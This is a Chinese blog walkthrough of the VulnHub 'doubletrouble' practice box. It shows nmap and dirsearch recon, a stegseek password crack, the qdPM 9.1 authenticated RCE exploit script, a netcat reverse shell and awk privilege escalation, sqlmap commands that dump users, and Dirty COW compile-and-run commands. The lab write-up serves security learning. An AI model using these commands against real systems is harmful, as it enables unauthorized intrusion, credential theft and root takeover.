vulnhub-doubletrouble靶场

0x00部署

doubletrouble靶机:下载地址
宿主机:kali2022
目标:获取root拿到flag文件

0x01信息收集

1.主机发现

$ sudo arp-scan -l
//因为靶机与宿主机在同一网段,所以用二级扫描来发现靶机ip

这里发现了靶机ip为104

在这里插入图片描述
如果有时候不确信扫的对否,可以先将靶机关闭,扫一下当前的ip

2.端口扫描

//使用namp命令,-p-指定ip,查看哪些端口开放
$ sudo nmap -sS -T4 -p- 靶机ip 
$ sudo nmap -sC -sV -O -p22,80 靶机ip
//-sC常见漏洞脚本扫描
//-sV开放端口服务/版本号
//-O操作系统探测

常规扫描之后发现只开放了22和80
在这里插入图片描述
访问80,页面登录需要一个邮箱和密码,qdPM这个可疑信息记录一下:
在这里插入图片描述

3.信息收集(漏洞扫描)

访问一下qdPM页面以及他的更新记录,这里显示对/install和/core/cache/qdPM页面进行隐藏,所以访问一下看有无可利用信息。
在这里插入图片描述

$sudo nmap --script=vuln -p22,80 靶机ip

一扫可是不少:
在这里插入图片描述

80/tcp open  http
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-sql-injection: 
|   Possible sqli for forms:
|     Form at path: /index.php/login/restorePassword, form's action: /index.php/login/restorePassword. Fields that might be vulnerable:
|_      restorePassword[email]
| http-internal-ip-disclosure: 
|_  Internal IP Leaked: 127.0.1.1
| http-enum: 
|   /backups/: Backup folder w/ directory listing //没用
|   /robots.txt: Robots file //没用
|   /batch/: Potentially interesting directory w/ listing on 'apache/2.4.38 (debian)' //没用
|   /core/: Potentially interesting directory w/ listing on 'apache/2.4.38 (debian)'
|   /css/: Potentially interesting directory w/ listing on 'apache/2.4.38 (debian)'
|   /images/: Potentially interesting directory w/ listing on 'apache/2.4.38 (debian)'
|   /install/: Potentially interesting folder
|   /js/: Potentially interesting directory w/ listing on 'apache/2.4.38 (debian)'
|   /secret/: Potentially interesting directory w/ listing on 'apache/2.4.38 (debian)' //这个很吸引人
|   /template/: Potentially interesting directory w/ listing on 'apache/2.4.38 (debian)'
|_  /uploads/: Potentially interesting directory w/ listing on 'apache/2.4.38 (debian)' 
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
|_http-csrf: Couldn't find any CSRF vulnerabilities.

4.路径爬取

根据上边枚举出来的路径,再对80端口进行一下路径爬取,寻找隐藏信息

$ dirsearch -u http://ip  //没什么特别的结果,继续
$ dirsearch -u http://ip -f -e php,txt,html   //指定扩展名
$ dirsearch -u http://ip -w /usr/share/seclists/Discovery/Web-Content/common.txt
//指定字典进行爆破
$ gobuster dir -r -u http://192.168.56.107/site/ -x txt,html,php -w /usr/share/seclists/Discovery/Web-Content/common.txt

使用dirsearch爬取的路径结果:

/backups             
/batch                (Status: 200) [Size: 944]
/check.php            (Status: 200) [Size: 0]
/core                 (Status: 200) [Size: 3056]
/css                  (Status: 200) [Size: 1309]
/favicon.ico          (Status: 200) [Size: 894]
/images               (Status: 200) [Size: 2369]
/install              (Status: 200) [Size: 1815]
/index.php            (Status: 200) [Size: 5814]
/index.php            (Status: 200) [Size: 5814]
/js                   (Status: 200) [Size: 1959]
/readme.txt           (Status: 200) [Size: 470]
/robots.txt           (Status: 200) [Size: 26]
/robots.txt           (Status: 200) [Size: 26]
/secret               (Status: 200) [Size: 957]---》看着就很吸引人
/server-status        (Status: 403) [Size: 279]
/sf                   (Status: 200) [Size: 1143]
/template             (Status: 200) [Size: 1707]
/uploads              (Status: 200) [Size: 1141]

readme.txt:
在这里插入图片描述
–>qdPM是一个开源项目的管理软件,联系人是Sergey。访问一下这个qdPM的网站,收集一下版本信息和其更新的功能区别。

开源CMS漏洞利用

searchsploit qdPM 9.1

在这里插入图片描述
这里的exp的利用需要身份认证,所以我们先找别的信息。

隐写术密码爆破(stegseek)

其他页面都没有什么当前可利用的信息,这个secret中的图片是能利用的唯一线索
在这里插入图片描述在这里插入图片描述
使用之前用过的steghide发现有密码不能继续。
在这里插入图片描述
这里安装一个stegseek:stegseek下载地址,下载stegseek_0.6-1.deb

apt install stegseek_0.6-1.deb #安装stegseek

然后将rockyou文件下载到本地解压然后破解隐写术的密码:
$ steghide info doubletrouble.jpg
在这里插入图片描述
检查一下图片的输出文件,是text格式,查看到应该是80页面的账号及密码
在这里插入图片描述
获取到信息后可以登录进去,有了用户认证,就尝试一下exp利用,是一个远程代码执行的漏洞:
在这里插入图片描述
在这里插入图片描述
下载到本地
在这里插入图片描述
赋予脚本执行权限
在这里插入图片描述
查看一下脚本中的信息,使用指令:
在这里插入图片描述
运行过程中可能会报错,考虑到python语言对于缩进是非常敏感的对与报错的行进行修改。

$ python3 ./47954.py -url http://192.168.56.104/ -u otisrush@localhost.com -p otis666

在这里插入图片描述
后门已经加载到页面中,访问这个url:
在这里插入图片描述

GTFObins提权

GTFObins

$ python -c 'import pty;pty.spawn("/bin/bash");' //优化当前bash页面
$ sudo -l //查看一下

查看一下靶机系统是否有nc:
在这里插入图片描述
使用nc来反弹shell
在这里插入图片描述
在这里插入图片描述
这里发现awk不用密码就可以登录,查看属主是root,选择用GTFObins进行提权:
在这里插入图片描述
进入root目录发现另一个ova
在这里插入图片描述
在这里插入图片描述
下载下来然后在VM上边导入,网络设置依旧还是host-only,分配的ip是105
在这里插入图片描述
端口扫描一下
在这里插入图片描述
访问80端口,有一个登录界面。
在这里插入图片描述

利用sqlmap进行SQL盲注

在这个登录界面进行SQLmap注入,注入的策略:爆库-表-列-字段
sqlmap -u '' --forms --batch
利用sqlmap进行注入,在Parameter中找到这个是一个时间盲注类型,
在这里插入图片描述
sqlmap -u ' ' --forms --batch --current-db得到库名:doubletrouble
在这里插入图片描述
sqlmap -u ' ' --forms --batch -D doubletrouble --tables指定库名,得到表名:users
在这里插入图片描述
sqlmap -u ' ' --forms --batch -T users --columns指定表名,得到列名:password和username
在这里插入图片描述
sqlmap -u ' ' --forms --batch -T users -C username,password --dump指定表名,得到列名:password和username
在这里插入图片描述
得到了用户名及密码:

montreux   GfsZxc1
clapton   ZubZub99

尝试登陆一下页面发现不行,转头尝试ssh连接,clap可以登录:
在这里插入图片描述
在当前目录找到一个txt文件有一组字符串:
在这里插入图片描述
破解一下,sudo一下发现不是密码,一个flag:
在这里插入图片描述
检查一下内核版本:
在这里插入图片描述
针对内核版本linux 3.2可以利用脏牛漏洞提权。

0x02权限提升(脏牛)

脏牛代码:github:dirtycow/dirty.c
代码放到kali本机中的dirty.c中,clap靶机侦听4545端口,并把侦听到的文件放入dirty.c文件中
在这里插入图片描述
kali本机端:
在这里插入图片描述

gcc -pthread dirty.c -o dirty -lcrypt //执行一下.c文件变成可执行文件
chmod +x dirty //给可执行文件权限
./dirty pass //执行 后边的参数是定义的密码,脏牛会将root账户变成一个firefart用户然后密码变为自己定义的pass

在这里插入图片描述
用firefart账号来登录ssh账号,已经拥有root权限
在这里插入图片描述
在这里插入图片描述
脏牛会将之前的用户权限做一个备份存在/tmp/passwd.bak中,再将其还原到/etc/passwd中,passwd设置root密码,退出后可以用root用户及所设置的密码登录。
在这里插入图片描述

0x03总结

这个靶场可以学到很多方法:
1.使用stegseek工具对于隐写术的密码进行爆破;
2.通过searchsploit查找开源CMS对应版本漏洞进行漏洞利用;
3.使用sqlmap进行sql注入盲注;
4.脏牛提权&GTFObins提权

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值